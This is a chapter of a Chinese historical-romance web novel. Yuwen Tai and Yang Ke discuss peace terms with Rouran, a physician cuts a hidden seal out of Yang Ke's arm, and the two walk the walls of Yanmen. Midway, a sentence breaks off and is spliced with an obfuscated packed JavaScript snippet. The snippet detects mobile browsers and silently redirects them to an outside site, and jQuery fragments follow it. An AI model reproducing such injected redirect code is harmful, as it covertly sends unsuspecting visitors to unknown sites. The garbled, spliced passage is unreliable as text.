宇文泰连日殚精竭虑，本就休息得甚少，这番折腾后，已是沉沉睡去。
帐内烛火昏黄，映着他的侧颜，硬朗的眉目纵然在睡梦中也依旧紧蹙，仿佛被千钧重担压着，不得舒展。长久的征战，早已将他搓磨成一张绷紧的弓，难得有片刻停息。
杨柯静静地望着他，心间泛起细密的酸楚。她忍不住伸出手，划过他紧锁的眉峰，想要抚平那里的褶皱。
宇文泰呓语般含糊地哼了一声，无意识地将长臂一揽，箍住她的腰肢，将她带入怀中。杨柯顺势偎依过去，借着微光细细描摹他的轮廓，即使就这样呆呆地望着，心中也满是幸福。
第二日醒来，身侧榻上已空余一丝体温，不见人影。
杨柯撑着酸软的身子慢慢坐了起来，一动便觉周身酸痛难忍，忍不住轻轻嘶了一声。
一旁的小青赶忙上前搀扶，关心道：“姑娘动作慢些，小心扯到了伤口。”
杨柯懵了一下，脸上倏地飞起一抹红晕，才结巴地回道：“哦……好，知道了。”不知这浑身酸痛的来源，究竟是受刑留下的旧创，还是昨夜宇文泰不知轻重制造的新伤。
待到梳洗完毕，杨柯缓步走出营帐，才发现日头早已西斜。
中军大帐之内，众将臣正在讨论与柔然和谈的条款。宇文泰端坐于主位之上，一身团绣黑袍，面容沉静，唯有一双深眸敛着锐利的寒光，静静地扫视着帐下激烈争论的将臣。
“现在正是和谈的好时候，柔然囤在驼铃营的粮草，已被我军烧了三四成，他们的军心必定大乱！”
“正是！遭受这等重创，阿揽延本就后勤吃紧，支撑不了一个月。”
“而且他的金雕卫也被咱们的连环火计折损得厉害，想恢复元气，没个半年绝无可能！”
帐内气氛刚要高涨，席间一人却沉吟道：“可要迫使阿揽延签下城下之盟，这些筹码虽重，却还缺一味最关键的药引。”
话音落下，讨论偃旗息鼓。众人皆知，这药引所指为何——正是那传说中能号令柔然旧部、象征着王权天授的蛇神魄印。若无此物，即便大夏打服了柔然，也难以从根本上瓦解他们的精神根基。
宇文泰目光扫过沉默的众人，终于开口：“蛇神魄印，固然是柔然的精神图腾。但国之疆土，岂能系于一物？真正的关键，在于断其筋骨、控其命脉。即便没有蛇神魄印，眼下六成的胜算，也足以逼他低头。别忘了，宣王尚在暗处，柔然的河西商道、北部贵族都在他掌控之下，阿揽延若想征兵动武，先要问问他背后的刀答不答应。”
“若大夏此刻已掌握了剩下四成呢？”
众人愕然回头，只见杨柯不知何时已立于帐中。她迎着所有惊疑的目光，清晰地继续道：“蛇神魄印，就在我身上。”
帐内顿时一片哗然。一名年轻将领忍不住问道：“杨姑娘，您从沙海之笼脱身而出，阿揽延岂会不严加搜查？您又怎能在他眼皮子底下保住蛇神魄印？”
“灯下黑的道理，将军应该懂得。”说完，她举起手臂，衣袖滑落，露出臂弯内侧那道月牙胎记，“所幸蛇神魄印娇小玲珑，足以藏匿。它，此刻就埋在这道胎记之下。”
话音未落，宇文泰蓦地站起，朝她大步走去：“这是伯喻的意思？”语气里已是隐不住的怒火。
杨柯轻轻摇头，劝道：“伯喻并不知情，是我主动要求的。唯有藏在我身体里，才能彻底避开阿揽延的搜查，将它带出柔然，带给你。”
宇文泰深深望着她，眼中情绪翻腾，最终化作一声压抑的沉叹。他不再言语，转过身，对帐外厉声道：“传太医！”
太医们捧着银刀、纱布还有药瓶匆匆而入，帐内瞬间漫开清苦的药味。
杨柯安静地坐在榻边，缓缓撩起衣袖，露出布满伤痕的小臂。在臂弯内侧，淡绯色的月牙胎记赫然在目：“开吧。”
为首的刘太医额上沁出细密的汗珠，迟疑着不敢上前。宇文泰背光而立，面容隐在阴影里，唇线紧抿，负在身后的手，指节已攥得青白。
帐内一片死寂，唯闻烛芯噼啪作响。
“刘太医，”杨柯再次开口提醒，“不要误了战机。”
刘太医喉结滚动，艰难地吞了口唾沫，求助似地望向一旁伫立的宇文泰。
“听她的。”宇文泰微侧过身，不再直视那枚月牙胎记。
刘太医终于不再犹豫，他取出皮夹中的银刀，放在烛火上反复灼烧，随即将刀锋缓缓抵上杨柯手臂的肌肤。
刀尖刺入，血珠渗出，杨柯的身体瞬间绷紧，额角渗出冷汗，她紧咬牙关，硬生生将痛哼压了回去，唯有粗重的鼻息格外清晰刺耳。
宇文泰终究没能忍住，猛地回过头，目光触及到她手臂上的鲜红时，心脏似被狠狠攥住，他一步踏至榻前，半跪下来，紧紧握住她的另一只手。
杨柯的视线因剧痛而有些模糊，却仍努力与他对视。千言万语堵在胸口，却只能化成彼此双手交握的力度。
鲜血不断渗出，顺着她的手臂蜿蜒流下，像是血液织成的蛛网，密密麻麻地分布在她洁白的肌肤之上。太医手中的刀尖小心翼翼地在皮肉下搜寻着，每一寸挪动，都让杨柯的身体绷紧一分，抑制不住的颤抖通过两人紧握的手清晰地传递给宇文泰。他深深地望进她因剧痛而泛着水光的眼睛，抬手怜惜地捧住她冷汗涔涔的脸颊，掌心下意识地收紧，传递给她力量。
终于，刀尖触到了一个极小的硬物边缘。太医取过镊子，小心翼翼地拨开皮肉，在鲜红的创口之下，一枚深红的宝石，沾着温热的鲜血，被缓缓取了出来。
“蛇神魄印……真的是蛇神魄印！”四周的将臣终于亲眼得见这传说中的圣物，兴奋得难以抑制。
刘太医抬眼望了一眼脸色苍白的杨柯，立刻转头给身后的太医递去眼神。众人纷纷上前，手脚麻利地为她止血上药，再用纱布层层包裹住伤口。
“用最好的药，”宇文泰的声音冷硬。他垂眸望着怀中人因极度痛苦而半合的眼帘，眉头拧得更紧，“仔细缝合伤口，不要留疤。”
“是。”太医们恭谨应声，手上的动作也越发小心谨慎。
杨柯虚弱地靠在宇文泰的怀里，湿冷的额头无力地抵着他的胸膛：“没事……拿到了……就好……”
宇文泰手臂收紧，下颌抵着她的发顶：“阿柯，对不起。”
杨柯勉力抬眸，向他投去宽慰的微笑：“能带出这东西……也不枉我……走这一趟。”
“报——！”一名亲卫的声音在帐外响起，“殿下，赫连城来信！”
宇文泰头也未抬：“说。”
“据城内线报，赫连城如今粮食、布匹已极度短缺，物价连翻五倍，城中怨气不断，街头巷尾都在指责阿揽延穷兵黩武、耗尽国力。北部的贵族因商路断绝、牧场被袭，已经开始秘密联合，似有向阿揽延施压、甚至另立新主的动向。”
“很好，”宇文泰眼中寒光一闪，“传令玄雀营，将蛇神魄印在我大夏之手的消息散播出去，要让每一个柔然人都知道，他们的神佑就在我们手里。原驻在驼铃营外的军队，继续袭扰柔然各部草场，断绝其补给，给赫连城持续施压。”
“得令！”
待那亲卫退下，片刻后，杨柯也从昏沉的意识中渐渐清醒过来。
“阿泰，”她轻声唤道，声音仍有些虚弱，“陪我出去走走吧。”
宇文泰眉头微蹙：“你伤势未稳，外面风大，还是多休养为好。”
杨柯扯了扯宇文泰的袖子，放软了声音：“被掳去柔然前，我就想来雁门城找你了。如今终于来了，你总该带我看看，这座被你夺回的城池吧？”
宇文泰对上她坚持的目光，终是无奈一笑：“好，我陪你去。”
雁门城依傍着大漠，边际紧邻着戈壁，此时夕阳残留的艳红破云而来，泼洒在黑白戈壁之上，光影切割出狰狞的线条，死生相间、蓄势以待。
六个月前，杨柯的眼前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297118|165772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也是这片景象，而那时却未曾预料到，义县已到了最后期限。
“这里是雁门城最高处，整个塔格沙漠皆能收入眼底。”宇文泰的声音将她从回忆里拉回，“收复雁门，就扼住了塔格沙漠的咽喉，掌握了塔格沙漠，就拿下了整个朔州。”
“是因为水源？”
“对。雁门城占据了月牙泉，整个塔格沙漠都靠着它过活。”
“为何那晚……柔然会突袭义县？”
虽是没头没脑的一句，但宇文泰瞬间便明白她在问什么，他神色一黯，恻然叹道：“赛比海被我取下首级，激怒了整个柔然皇庭。阿揽延抓住他们的情绪，火速集结部众发动突袭。但就目前探查所知，柔然似乎是有备而来。他们的主攻方向异常集中，直指义县的西北城墙。缘由为何，我们尚未查清。”
一片血红的残阳挥向苍茫的天空，已经麻木的痛苦记忆再次苏醒。
杨柯深吸一口气，闭上了眼睛。霎那间，那短短几日，屠杀的景象和漫天的哀嚎再次向她扑来。
“义县一万将士，两万百姓，他们都曾是活生生的人，”她的眼前仿佛出现一排排嘶吼的面孔，最终汇成一眼望不到边的血海，“阿泰，我永远都不会忘记……永远不会忘记柔然人挥刀砍向我们的样子！”
宇文泰将她揽入怀中：“战争，总有一天会停息。”他望着远方的残阳，低声呓语，似乎说给杨柯听，也像在说给自己。
杨柯忽然想起临别时的承诺，问道：“阿泰，我回来的消息，可传回了京城？”
宇文泰脸上的悲悯渐渐隐去，露出了一丝宽慰的笑容：“麟儿已经向伯父伯母转达了你平安的消息，青桃和杜衡在宫中也已经知晓。”他顿了顿，“父皇那边，你放心，他不会为难你。”
杨柯心里的大石头放下了：“那就好。”
然而，宇文泰眸中又染上一丝忧色：“只是……舅舅听闻了擎哥的噩耗，旧疾复发。”
杨柯冷笑道：“看来章大将军还是顾念着一丝父子情分的。”
这话虽然刺耳，但却是事实。宇文泰听言只是颓然长叹：“他们终究是血浓于水的亲人。”
想起章擎和容徽最后惨烈的结局，杨柯心中悲愤交加：“有时候，血浓于水……也比不过萍水相逢。”
见宇文泰露出疑惑，她继续道：“容徽姐姐……她是自刎而亡。”
宇文泰的瞳孔骤缩，哀恸之色顿生：“容徽她竟然……”
“她不愿受辱于叱罗，也不想让擎哥为难。她是那般高洁刚烈之人，怎会离开擎哥、被叱罗掳去苟活于世？”杨柯想起那晚宴席上两人无声却情深的眼神交汇，不禁神往又惋惜，心中悲伤更添一层，“擎哥虽然从未给过容徽姐姐名分，既没有金银珠宝，也没有绫罗绸缎，与京城那些公子相比，可以说是吝啬得一无所有。但他给容徽的爱，却慷慨得毫无保留。他们之间，才是真正的血浓于水。”她话语微顿，望进他眼中，“而且，他们还留下了一个女儿。”
宇文泰满脸惊愕：“擎哥的孩子？！”
“她叫狸儿，对外只是容徽的亲妹妹。”杨柯继续道，“其实，狸儿就是他们的孩子。”
宇文泰的眼中瞬间爆发出震惊与狂喜：“擎哥还有血脉在世上！”他激动地拥住杨柯的肩膀，“太好了！擎哥还有个女儿！”旋即，他强迫自己冷静下来，急切追问道：“狸儿现在在何处？”
杨柯有些迟疑地开口：“她在柔然，如今……应该在伯喻身边。”
听到“柔然”二字，宇文泰的脸骤然一沉。
杨柯解释道：“当时我带着狸儿逃出了义县，本想直奔雁门找你，奈何路上遭遇追兵，阿揽延发现了我们，将我们截走。后来到了柔然，我被他关进地牢，当时唯一能托付、能护住狸儿的，只有伯喻了。”
宇文泰脸上的无奈更深，他目光遥望赫连城的方向，语气坚定：“三日后，我们前往赫连城签订和约之时，我就把狸儿接回家。”